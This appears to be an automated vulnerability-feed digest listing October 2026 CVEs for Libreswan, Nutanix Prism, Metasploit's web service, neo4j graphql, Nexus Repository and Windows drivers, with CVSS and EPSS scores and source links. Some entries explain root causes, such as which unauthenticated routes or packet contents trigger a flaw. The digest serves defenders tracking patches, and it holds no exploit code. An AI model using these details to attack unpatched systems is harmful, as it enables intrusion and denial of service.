Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication. As a result of inconsistency within the IKEv2 state machine code, this bug can be triggered by any IKEv2 connection, even if EAP is not configured at all. The error is caused by a fall-through where it incorrectly dereferences ike->sa.st_eap which is NULL. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. The bug results in a crash and restart of the pluto daemon. No remote code execution is possible. Continued exploitation can cause a denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77206).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77206&date=2026-10-25).
Sources:
NVD CVE-2026-77206: https://nvd.nist.gov/vuln/detail/CVE-2026-77206
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77206&date=2026-10-25
Libreswan's IKEv2 state machine has a null pointer dereference bug in the EAP handling code for authentication. As a result of inconsistency within the IKEv2 state machine code, this bug can be triggered by any IKEv2 connection, even if EAP is not configured at all. The error is caused by a fall-through where it incorrectly dereferences ike->sa.st_eap which is NULL. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. The bug results in a crash and restart of the pluto daemon. No remote code execution is possible. Continued exploitation can cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication.
https://kevwire.com/record/CVE-2026-77207
Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication. (Oct 13, 2026).
Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication. When libreswan decodes an IKE CERT payload of type CERT_PKCS7_WRAPPED_X509, it guards the PKCS#7 blob with SEC_PKCS7ContainsCertsOrCrls() and then iterates the certificate list with SEC_PKCS7GetCertificateList(). The two NSS APIs disagree on a SignedData that carries a CRL but no certificates: ContainsCertsOrCrls() returns PR_TRUE (there is a CRL), so the guard passes, but GetCertificateList() returns NULL (there are no certificates). This causes libreswan to dereference a null pointer leading to a crash and restart. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. No remote code execution is possible. Continued exploitation can cause a denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77207).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77207&date=2026-10-25).
Sources:
NVD CVE-2026-77207: https://nvd.nist.gov/vuln/detail/CVE-2026-77207
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77207&date=2026-10-25
Libreswan has a null pointer dereference bug in the PKCS#7 handling code for IKE certificate authentication. When libreswan decodes an IKE CERT payload of type CERT_PKCS7_WRAPPED_X509, it guards the PKCS#7 blob with SEC_PKCS7ContainsCertsOrCrls() and then iterates the certificate list with SEC_PKCS7GetCertificateList(). The two NSS APIs disagree on a SignedData that carries a CRL but no certificates: ContainsCertsOrCrls() returns PR_TRUE (there is a CRL), so the guard passes, but GetCertificateList() returns NULL (there are no certificates). This causes libreswan to dereference a null pointer leading to a crash and restart. A malicious IKE_AUTH packet can trigger this bug, meaning the peer does not need to be authenticated. No remote code execution is possible. Continued exploitation can cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal...
https://kevwire.com/record/CVE-2026-84731
An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal... (Oct 15, 2026).
An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal management HTTP header. The vulnerability is caused by a misconfiguration in the application's authentication filters.



Consequently, the server responds with a Set-Cookie header containing a valid JSESSIONID. This session cookie decodes to a JSON Web Token (JWT) granting maximum cluster administrative privileges. Successful exploitation allows the attacker to execute root-level commands on all Controller VMs (CVMs) in the cluster, leading to complete cluster destruction and unauthorized access to VM memory and virtual disks.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84731).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84731&date=2026-10-25).
Sources:
NVD CVE-2026-84731: https://nvd.nist.gov/vuln/detail/CVE-2026-84731
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84731&date=2026-10-25
An unauthenticated remote attacker can bypass authentication and gain full access to administrative API endpoints in Nutanix Prism Element by including a crafted internal management HTTP header. The vulnerability is caused by a misconfiguration in the application's authentication filters.



Consequently, the server responds with a Set-Cookie header containing a valid JSESSIONID. This session cookie decodes to a JSON Web Token (JWT) granting maximum cluster administrative privileges. Successful exploitation allows the attacker to execute root-level commands on all Controller VMs (CVMs) in the cluster, leading to complete cluster destruction and unauthorized access to VM memory and virtual disks.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet.
https://kevwire.com/record/CVE-2026-87689
The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet. (Oct 13, 2026).
The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet. Every mutating and read route in this servlet calls warden.authenticate! before processing a request, except the update_credential (PUT) and delete_credentials (DELETE) handlers for /api/v1/credentials, which omit the authentication call entirely. Because these handlers call directly into lib/msf/core/db_manager/cred.rb, which performs no authorization check of its own, any client able to reach the web service on its default 0.0.0.0:8080 listener can read, modify, or permanently delete every stored credential record — including passwords, hashes, and private keys stored for a shared team engagement — without presenting any authentication. All published versions of Metasploit Framework through 6.5.4 are affected. The issue is fixed in 6.5.5 by adding warden.authenticate! as the first statement in both handlers, matching the pattern used by every other route in the API.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87689).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87689&date=2026-10-25).
Sources:
NVD CVE-2026-87689: https://nvd.nist.gov/vuln/detail/CVE-2026-87689
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87689&date=2026-10-25
The Metasploit Framework Web Service REST API (msf-ws) exposes the credential store through Msf::WebServices::CredentialServlet. Every mutating and read route in this servlet calls warden.authenticate! before processing a request, except the update_credential (PUT) and delete_credentials (DELETE) handlers for /api/v1/credentials, which omit the authentication call entirely. Because these handlers call directly into lib/msf/core/db_manager/cred.rb, which performs no authorization check of its own, any client able to reach the web service on its default 0.0.0.0:8080 listener can read, modify, or permanently delete every stored credential record — including passwords, hashes, and private keys stored for a shared team engagement — without presenting any authentication. All published versions of Metasploit Framework through 6.5.4 are affected. The issue is fixed in 6.5.5 by adding warden.authenticate! as the first statement in both handlers, matching the pattern used by every other route in the API.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access.
https://kevwire.com/record/CVE-2026-89057
A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access. (Oct 16, 2026).
A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-89057).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-89057&date=2026-10-25).
Sources:
NVD CVE-2026-89057: https://nvd.nist.gov/vuln/detail/CVE-2026-89057
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-89057&date=2026-10-25
A potential authentication bypass vulnerability was reported in some Lenovo tablets that could allow a user with physical access to gain unauthorized device access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated...
https://kevwire.com/record/CVE-2026-92629
A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated... (Oct 16, 2026).
A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code with elevated privileges.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92629).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92629&date=2026-10-25).
Sources:
NVD CVE-2026-92629: https://nvd.nist.gov/vuln/detail/CVE-2026-92629
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92629&date=2026-10-25
A potential improper authorization vulnerability was reported in Lenovo Baiying PC Client, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code with elevated privileges.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level...
https://kevwire.com/record/CVE-2026-92681
In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level... (Oct 12, 2026).
In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level fields annotated with @cypher. Only @authentication directives placed directly on the individual fields are enforced. An application that exposes a top-level @cypher field and relies on schema-level or type-level @authentication to protect it allows unauthenticated callers to invoke the field and run the configured Cypher statement with the privileges of the GraphQL service account, which may permit reading and modifying data. Fixed in 7.6.4.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92681).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92681&date=2026-10-25).
Sources:
NVD CVE-2026-92681: https://nvd.nist.gov/vuln/detail/CVE-2026-92681
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92681&date=2026-10-25
In @neo4j/graphql versions up to and including 7.6.3, @authentication directives applied at the schema level or on the Query or Mutation types are silently ignored for top-level fields annotated with @cypher. Only @authentication directives placed directly on the individual fields are enforced. An application that exposes a top-level @cypher field and relies on schema-level or type-level @authentication to protect it allows unauthenticated callers to invoke the field and run the configured Cypher statement with the privileges of the GraphQL service account, which may permit reading and modifying data. Fixed in 7.6.4.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated...
https://kevwire.com/record/CVE-2026-92682
In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated... (Oct 12, 2026).
In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated to Cypher, so it behaves like some. A rule such as "none of the related denied users matches the JWT subject" therefore returns exactly the records it was meant to exclude, and excludes those it was meant to return. An authenticated user whom such a rule is meant to deny can read the protected records. This is also the case for mutations, so the impact is that sensitive data could also be created and deleted by users that shouldn't have access according to the typedefs. Fixed in 7.6.4.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92682).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92682&date=2026-10-25).
Sources:
NVD CVE-2026-92682: https://nvd.nist.gov/vuln/detail/CVE-2026-92682
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92682&date=2026-10-25
In @neo4j/graphql versions from 7.0.0 up to but not including 7.6.4, the none quantifier in @authorization filters on relationships and connections is not negated when translated to Cypher, so it behaves like some. A rule such as "none of the related denied users matches the JWT subject" therefore returns exactly the records it was meant to exclude, and excludes those it was meant to return. An authenticated user whom such a rule is meant to deny can read the protected records. This is also the case for mutations, so the impact is that sensitive data could also be created and deleted by users that shouldn't have access according to the typedefs. Fixed in 7.6.4.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is...
https://kevwire.com/record/CVE-2026-94453
Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is... (Oct 13, 2026).
Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is received for the same tuple. IKE state is retained in memory after the client closes the connection, storing a pointer to iface_endpoint inside ike_sa.sa->st_iface_endpoint. Once this invalid pointer is used, the daemon crashes and restarts. This vulnerability can be triggered before the remote peer has authenticated itself. Continued exploitation can lead to a denial of service. Remote code execution could be possible. The IKE over TCP option is not enabled by default; only configurations that contain listen-tcp=yes are affected.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94453).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94453&date=2026-10-25).
Sources:
NVD CVE-2026-94453: https://nvd.nist.gov/vuln/detail/CVE-2026-94453
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94453&date=2026-10-25
Libreswan's pluto daemon has a use-after-free vulnerability when a client connecting using IKE over TCP closes the connection and another packet (retransmit or malicious) is received for the same tuple. IKE state is retained in memory after the client closes the connection, storing a pointer to iface_endpoint inside ike_sa.sa->st_iface_endpoint. Once this invalid pointer is used, the daemon crashes and restarts. This vulnerability can be triggered before the remote peer has authenticated itself. Continued exploitation can lead to a denial of service. Remote code execution could be possible. The IKE over TCP option is not enabled by default; only configurations that contain listen-tcp=yes are affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist...
https://kevwire.com/record/CVE-2026-97665
A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist... (Oct 15, 2026).
A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist NuGet symbol packages (.snupkg) to a hosted repository, bypassing the write-permission check enforced for ordinary package uploads. Exploitation requires a hosted NuGet repository with Symbol Server enabled. If anonymous access is enabled, the built-in anonymous user holds read and browse privileges across all repositories by default, so this precondition can also be met without an authenticated account.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97665).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97665&date=2026-10-25).
Sources:
NVD CVE-2026-97665: https://nvd.nist.gov/vuln/detail/CVE-2026-97665
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97665&date=2026-10-25
A missing authorization check in Nexus Repository 3's NuGet Components API upload path allows an account holding only repository read and browse privileges to upload and persist NuGet symbol packages (.snupkg) to a hosted repository, bypassing the write-permission check enforced for ordinary package uploads. Exploitation requires a hosted NuGet repository with Symbol Server enabled. If anonymous access is enabled, the built-in anonymous user holds read and browse privileges across all repositories by default, so this precondition can also be met without an authenticated account.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold.
https://kevwire.com/record/CVE-2026-97712
Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold. (Oct 15, 2026).
Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold. This can give the user more access than intended, up to full administrative access.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97712).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97712&date=2026-10-25).
Sources:
NVD CVE-2026-97712: https://nvd.nist.gov/vuln/detail/CVE-2026-97712
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97712&date=2026-10-25
Sonatype Nexus Repository 3 allows a user that holds the role create or role update permission to grant roles and privileges that the account does not hold. This can give the user more access than intended, up to full administrative access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85822
Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85822).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85822&date=2026-10-25).
Sources:
NVD CVE-2026-85822: https://nvd.nist.gov/vuln/detail/CVE-2026-85822
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85822
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85822&date=2026-10-25
Heap-based buffer overflow in Windows exFAT File System allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85823
Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85823).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85823&date=2026-10-25).
Sources:
NVD CVE-2026-85823: https://nvd.nist.gov/vuln/detail/CVE-2026-85823
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85823
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85823&date=2026-10-25
Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85824
Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85824).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85824&date=2026-10-25).
Sources:
NVD CVE-2026-85824: https://nvd.nist.gov/vuln/detail/CVE-2026-85824
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85824
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85824&date=2026-10-25
Use after free in Windows Composite Image File System allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85825
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85825).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85825&date=2026-10-25).
Sources:
NVD CVE-2026-85825: https://nvd.nist.gov/vuln/detail/CVE-2026-85825
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85825
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85825&date=2026-10-25
Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85826
Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85826).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85826&date=2026-10-25).
Sources:
NVD CVE-2026-85826: https://nvd.nist.gov/vuln/detail/CVE-2026-85826
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85826&date=2026-10-25
Out-of-bounds write in Windows Fast FAT Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85806
Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85806).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85806&date=2026-10-25).
Sources:
NVD CVE-2026-85806: https://nvd.nist.gov/vuln/detail/CVE-2026-85806
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85806
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85806&date=2026-10-25
Integer underflow (wrap or wraparound) in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85807
Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85807).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85807&date=2026-10-25).
Sources:
NVD CVE-2026-85807: https://nvd.nist.gov/vuln/detail/CVE-2026-85807
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85807
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85807&date=2026-10-25
Integer overflow or wraparound in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to deny service over a network.
